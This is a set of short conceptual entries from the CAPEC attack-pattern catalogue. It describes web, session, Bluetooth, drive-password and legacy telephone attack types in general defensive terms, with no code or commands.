CAPEC-104: Cross Zone Scripting
An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security.
CAPEC-127: Directory Indexing
An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.
CAPEC-13: Subverting Environment Variable Values
The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-39: Manipulating Opaque Client-based Data Tokens
In circumstances where an application holds important data client-side in tokens (cookies, URLs, data files, and so forth) that data can be manipulated. If client or server-side application components reinterpret that data as authentication tokens or data (such as store item pricing or wallet information) then even opaquely manipulating that data may bear fruit for an Attacker. In this pattern an attacker undermines the assumption that client side tokens have been adequately protected from tampering through use of encryption or obfuscation.
CAPEC-402: Bypassing ATA Password Security
An adversary exploits a weakness in ATA security on a drive to gain access to the information the drive contains without supplying the proper credentials. ATA Security is often employed to protect hard disk information from unauthorized access. The mechanism requires the user to type in a password before the BIOS is allowed access to drive contents. Some implementations of ATA security will accept the ATA command to update the password without the user having authenticated with the BIOS. This occurs because the security mechanism assumes the user has first authenticated via the BIOS prior to sending commands to the drive. Various methods exist for exploiting this flaw, the most common being installing the ATA protected drive into a system lacking ATA security features (a.k.a. hot swapping). Once the drive is installed into the new system the BIOS can be used to reset the drive password.
CAPEC-45: Buffer Overflow via Symbolic Links
This type of attack leverages the use of symbolic links to cause buffer overflows. An adversary can try to create or manipulate a symbolic link file such that its contents result in out of bounds data. When the target software processes the symbolic link file, it could potentially overflow internal buffers with insufficient bounds checking.
CAPEC-5: Blue Boxing
This type of attack against older telephone switches and trunks has been around for decades. A tone is sent by an adversary to impersonate a supervisor signal which has the effect of rerouting or usurping command of the line. While the US infrastructure proper may not contain widespread vulnerabilities to this type of attack, many companies are connected globally through call centers and business process outsourcing. These international systems may be operated in countries which have not upgraded Telco infrastructure and so are vulnerable to Blue boxing. Blue boxing is a result of failure on the part of the system to enforce strong authorization for administrative functions. While the infrastructure is different than standard current applications like web applications, there are historical lessons to be learned to upgrade the access control for administrative functions.
{'xhtml:b': 'This attack pattern is included in CAPEC for historical purposes.'}
CAPEC-51: Poison Web Service Registry
SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-60: Reusing Session IDs (aka Session Replay)
This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.
CAPEC-647: Collect Data from Registries
An adversary exploits a weakness in authorization to gather system-specific data and sensitive information within a registry (e.g., Windows Registry, Mac plist). These contain information about the system configuration, software, operating system, and security. The adversary can leverage information gathered in order to carry out further attacks.
CAPEC-668: Key Negotiation of Bluetooth Attack (KNOB)
An adversary can exploit a flaw in Bluetooth key negotiation allowing them to decrypt information sent between two devices communicating via Bluetooth. The adversary uses an Adversary in the Middle setup to modify packets sent between the two devices during the authentication process, specifically the entropy bits. Knowledge of the number of entropy bits will allow the attacker to easily decrypt information passing over the line of communication.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.
CAPEC-87: Forceful Browsing
An attacker employs forceful browsing (direct URL entry) to access portions of a website that are otherwise unreachable. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected.